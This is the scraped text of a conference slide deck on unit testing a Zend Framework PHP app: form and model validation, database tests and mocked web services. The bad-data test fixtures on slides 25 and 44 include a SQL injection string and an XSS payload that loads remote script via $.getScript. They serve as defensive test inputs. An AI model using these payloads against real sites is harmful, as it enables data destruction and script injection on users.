Azure and OSS, a match made in heaven
PDF
Getting hands dirty with php7
PDF
Create, test, secure, repeat
PDF
The Continuous PHP Pipeline
PDF
Easily extend your existing php app with an api
PDF
Your code are my tests
PDF
200K+ reasons security is a must
GDPR Art. 25 - Privacy by design and default
Moving from app services to azure functions
Privacy by design
DevOps or DevSecOps
Privacy by design
Continuous deployment 2.0
Let your tests drive your code
General Data Protection Regulation, a developer's story
Leveraging a distributed architecture to your advantage
The road to php 7.1
Open source for a successful business
Decouple your framework now, thank me later
Deploy to azure in less then 15 minutes
Azure and OSS, a match made in heaven
Getting hands dirty with php7
Create, test, secure, repeat
The Continuous PHP Pipeline
Easily extend your existing php app with an api
Your code are my tests
200K+ reasons security is a must

Recently uploaded (20)

PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Approach and Philosophy of On baking technology
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPT
Teaching material agriculture food technology
PDF
Machine learning based COVID-19 study performance prediction
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
Understanding_Digital_Forensics_Presentation.pptx
MIND Revenue Release Quarter 2 2025 Press Release
Review of recent advances in non-invasive hemoglobin estimation
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Profit Center Accounting in SAP S/4HANA, S4F28 Col11
MYSQL Presentation for SQL database connectivity
Spectral efficient network and resource selection model in 5G networks
Building Integrated photovoltaic BIPV_UPV.pdf
Approach and Philosophy of On baking technology
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Per capita expenditure prediction using model stacking based on satellite ima...
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
NewMind AI Weekly Chronicles - August'25 Week I
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
The AUB Centre for AI in Media Proposal.docx
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Teaching material agriculture food technology
Machine learning based COVID-19 study performance prediction
“AI and Expert System Decision Support & Business Intelligence Systems”

Unit testing with zend framework tek11

  • 1. Unit Testing with Zend Framework TEK11, Chicago IL, USA
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 5. Any reasons not to test?
  • 6. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery •…
  • 8. The cost of bugs Bugs Project Costs 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 9. The cost of bugs Bugs Project Costs Unittests 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 10. Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  • 11. Remember “Once a test is made, it will always be tested!”
  • 13. Confidence •- for the developer code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  • 17. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 19. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 20. Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
  • 22. CommentForm Name: E-mail Address: Website: Comment: Post
  • 23. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 24. The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 25. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 26. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 28. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 30. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 31. Green, warm & fuzzy
  • 32. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  • 34. Testing business logic •- models contain logic tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 35. Type: data containers •- contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 37. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 39. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 40. We pass the test…
  • 42. Not all data from form! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 43. The good stuff public function goodData() { return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  • 44. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 46. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 47. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 48. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 49. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 52. Integration Testing •- database specific functionality triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 53. Points of concern •- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 54. The domain Model • Model object • Mapper object • Table gateway object Read more about it
  • 55. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 56. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 57. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 58. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 59. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 60. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 61. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 62. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 63. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 64. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 65. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 69. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 70. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 73. Web services remarks •- you need to comply with an API that will be your reference •- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 76. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 77. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 79. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 80. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 81. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 82. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 85. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 86. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 87. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 91. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  • 92. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 93. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => '[email protected]', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 94. REMARK •- data providers can be used to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  • 95. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 101. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  • 102. Thank you • source code: http://github.com/DragonBe/zftest • your rating: http://joind.in/3434 •- follow me: twitter: @DragonBe - facebook: DragonBe Please use joind.in for feedback